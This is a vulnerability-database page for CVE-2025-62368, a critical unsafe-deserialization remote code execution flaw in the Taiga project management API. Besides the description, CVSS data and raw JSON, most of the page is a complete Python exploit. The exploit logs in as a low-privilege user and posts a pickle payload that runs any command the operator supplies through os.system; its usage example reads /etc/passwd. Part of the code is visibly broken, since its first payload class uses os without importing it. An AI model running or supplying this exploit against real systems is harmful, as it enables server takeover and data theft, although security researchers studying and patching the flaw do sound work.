Security Vulnerability Report
中文
CVE-2025-62368 CVSS 9.0 CRITICAL

CVE-2025-62368

Published: 2025-10-28 21:15:40
Last Modified: 2026-04-15 00:35:42

Description

Taiga is an open source project management platform. In versions 6.8.3 and earlier, a remote code execution vulnerability exists in the Taiga API due to unsafe deserialization of untrusted data. This issue is fixed in version 6.9.0.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Taiga <= 6.8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-62368 PoC - Taiga Unsafe Deserialization RCE # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import requests import pickle import base64 import sys class Exploit: def __reduce__(self): # Replace with actual command to execute cmd = "whoami" return (os.system, (cmd,)) def generate_payload(): """Generate malicious pickle payload""" import os payload = pickle.dumps(Exploit()) return base64.b64encode(payload).decode() def exploit(target_url, username, password, command="id"): """ Exploit CVE-2025-62368 Args: target_url: Base URL of Taiga instance username: Valid low-privilege user password: User password command: Command to execute on target """ session = requests.Session() # Step 1: Login to get authentication token login_url = f"{target_url}/api/v1/auth" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return None token = response.json().get("auth_token") print(f"[+] Login successful, token: {token[:20]}...") # Step 2: Prepare malicious payload import os class RCE: def __reduce__(self): return (os.system, (command,)) payload = base64.b64encode(pickle.dumps(RCE())).decode() # Step 3: Send exploit payload to vulnerable API endpoint exploit_url = f"{target_url}/api/v1/projects/import" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } exploit_data = { "import_data": payload, "template": "custom" } print(f"[*] Sending exploit payload...") response = session.post(exploit_url, json=exploit_data, headers=headers) print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response.json() if response.status_code == 200 else None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} http://taiga.local user pass 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, pwd, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62368", "sourceIdentifier": "[email protected]", "published": "2025-10-28T21:15:40.310", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Taiga is an open source project management platform. In versions 6.8.3 and earlier, a remote code execution vulnerability exists in the Taiga API due to unsafe deserialization of untrusted data. This issue is fixed in version 6.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5", "source": "[email protected]"}]}}